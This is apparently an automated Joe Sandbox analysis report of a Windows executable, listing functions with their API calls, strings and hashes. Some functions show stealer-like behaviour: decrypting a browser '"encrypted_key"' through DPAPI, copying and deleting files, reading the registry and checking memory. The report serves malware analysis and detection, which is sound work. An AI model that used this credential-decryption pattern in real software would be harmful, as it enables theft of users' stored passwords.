Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: 1e192a029c9fb31ddd03e9fd57dcccfa639202ce4c53529baaff88ca5e31767d
Instruction ID: 4fb66fc9f0e99d4a69d4435a00fe4e0f35192ff1271240cc59f29c1c24f4a50f
Opcode Fuzzy Hash: 1e192a029c9fb31ddd03e9fd57dcccfa639202ce4c53529baaff88ca5e31767d
Instruction Fuzzy Hash: 663188B290021CA7CB24FBA0DC85EDD773DAB58708F40459EB60596091EE7897C9CFA8

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction ID: 3a295e2926d3a661784167dae5cc93d3585e5da9a2cb48fc087cd8b2851d2611
Opcode Fuzzy Hash: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction Fuzzy Hash: 8601FBB0D40308BAEB10EBE4DD49B9EBB78AB14705F20809EEA05B62D0D7785585875D

Function 00409D30 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

memcmp.MSVCRT ref: 00409DE2

Part of subcall function 00409BB0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
Part of subcall function 00409BB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
Part of subcall function 00409BB0: memcpy.MSVCRT ref: 00409C16
Part of subcall function 00409BB0: LocalFree.KERNEL32(?), ref: 00409C23

Strings

, xrefs: 00409E11
DPAPI, xrefs: 00409DD9
"encrypted_key":", xrefs: 00409D80

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 596995583-738592651
Opcode ID: 3f06f71e26211085cdb1a86da3455fd9e81433f3492ad17428c1239e0e6ca977
Instruction ID: 7f392d33d6ad21de2d61bb21213a98381b23072c845d074b64d64ac31095145a
Opcode Fuzzy Hash: 3f06f71e26211085cdb1a86da3455fd9e81433f3492ad17428c1239e0e6ca977
Instruction Fuzzy Hash: 7A3150B5D00108ABCB04DBE4DC45AEF77B8AF48304F44856AE915B3282E7789E44CBA5

Function 6C6EC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C6EC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C6EC969
GetSystemInfo.KERNEL32(?), ref: 6C6EC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C6EC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C6EC9E2

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: efdc8ac4c9116c58d899ebe4d7ce15631de410d3bb65a579469957571bf6e645
Instruction ID: 7cefc1e5911ba844cff9735c1030e51971bde6144d6a81a7d10d4584807537ca
Opcode Fuzzy Hash: efdc8ac4c9116c58d899ebe4d7ce15631de410d3bb65a579469957571bf6e645
Instruction Fuzzy Hash: 5E210A717062047BDB04AB24DC88BAE77B9AB4A304F90012AF903A7780EF20680487A5

Function 004178A0 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
HeapAlloc.KERNEL32(00000000), ref: 004178DE
RegOpenKeyExA.KERNEL32(80000002,02739F70,00000000,00020119,?), ref: 004178FE
RegQueryValueExA.KERNEL32(?,02759798,00000000,00000000,000000FF,000000FF), ref: 0041791F
RegCloseKey.ADVAPI32(?), ref: 00417932

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction ID: 7b98265181db112957e654b40feb51e707849e62a0e01f8308d40af4a82c50e7
Opcode Fuzzy Hash: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction Fuzzy Hash: EB11C1B1A04605AFDB10CF84DD4AFBFBB79FB48B10F10411AF605A7280D7785805CBA5

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction ID: 190bc7a1a7c8d7045dc387aced5cbf31aaec2b72b8248f43f4a0638ea244b090
Opcode Fuzzy Hash: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction Fuzzy Hash: 34013179A40208BFDB10DFE0DC49FAEB779FF48710F108158FA05A7290D6709A05CB50

Function 00410580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0273BF78), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,0273BEF8), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,0273BF58), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410880, 00410894, 00410643, 0041075B, 00410646, 0041075E, 00410883

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: cfd0da9d99a01ee56f7bbf7bb6a9e8f352e5d1a2e9032f54a111e8379dfe0ce4
Instruction ID: dd73e37cf26ee0a5b727ab7f8fa236140303cf2c4538d3aa2ff7e25b79bad790
Opcode Fuzzy Hash: cfd0da9d99a01ee56f7bbf7bb6a9e8f352e5d1a2e9032f54a111e8379dfe0ce4
Instruction Fuzzy Hash: E6917775B002089FCB28EF65D995FED7775BF94304F00812EE8099F291DB349A59CB86

Function 004105A5 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0273BF78), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,0273BEF8), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,0273BF58), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410643, 0041075B, 00410646, 0041075E

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: 270837bafb44b6bc5d11ea386c7b230dd4b5edc87966c2f38ef28bbee6bca05d
Instruction ID: 4e5c4e7109811dd04489307e57989d734427ebddea2fc0f69e8a4a25ed86313c
Opcode Fuzzy Hash: 270837bafb44b6bc5d11ea386c7b230dd4b5edc87966c2f38ef28bbee6bca05d
Instruction Fuzzy Hash: 82819775B002089FCB28EF65D995EEDB7B5FF94304F10812DE8099F251DB34AA45CB86

Function 00409FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0273BD58,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A00D
LoadLibraryA.KERNEL32(02759938,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A096

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02736480,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

SetEnvironmentVariableA.KERNEL32(0273BD58,00000000,00000000,?,00421290,?,0040FF93,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AE6), ref: 0040A082

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A002, 0040A016, 0040A02C

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: a550ab67c47681d1e402f3efdb823b5da41190146b4caeb91d37f81da9961415
Instruction ID: 756634b6078292b8205bba75648758324288abb3cd7bb3e0efd9893355994f5a
Opcode Fuzzy Hash: a550ab67c47681d1e402f3efdb823b5da41190146b4caeb91d37f81da9961415
Instruction Fuzzy Hash: 8D41E471804604AFC724EFB4EC56BAE3776BF48324F15512EF405A32A0D7B85986CB97

Function 0040A1B0 Relevance: 6.4, APIs: 4, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02738E98,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A231
lstrlenA.KERNEL32(00000000), ref: 0040A5EA

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000,00000000), ref: 0040A32D
DeleteFileA.KERNEL32(00000000), ref: 0040A671

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID:
API String ID: 3258613111-0
Opcode ID: d7c75079c3557c198413c263c079dd9312c8cc371a7b23a2eb6393595fc82afd
Instruction ID: babd7ff3150fa9bd4e199d5026f054df416ea87c2dc191fa558e2381e0c2d671
Opcode Fuzzy Hash: d7c75079c3557c198413c263c079dd9312c8cc371a7b23a2eb6393595fc82afd
Instruction Fuzzy Hash: 17D12472811108AACB14FBA5DC96EEE7338AF14314F50815EF51772091EF786A9CCB7A

Function 0040D5C0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02738E98,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D641
lstrlenA.KERNEL32(00000000), ref: 0040D7DF
lstrlenA.KERNEL32(00000000), ref: 0040D7F3
DeleteFileA.KERNEL32(00000000), ref: 0040D872

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
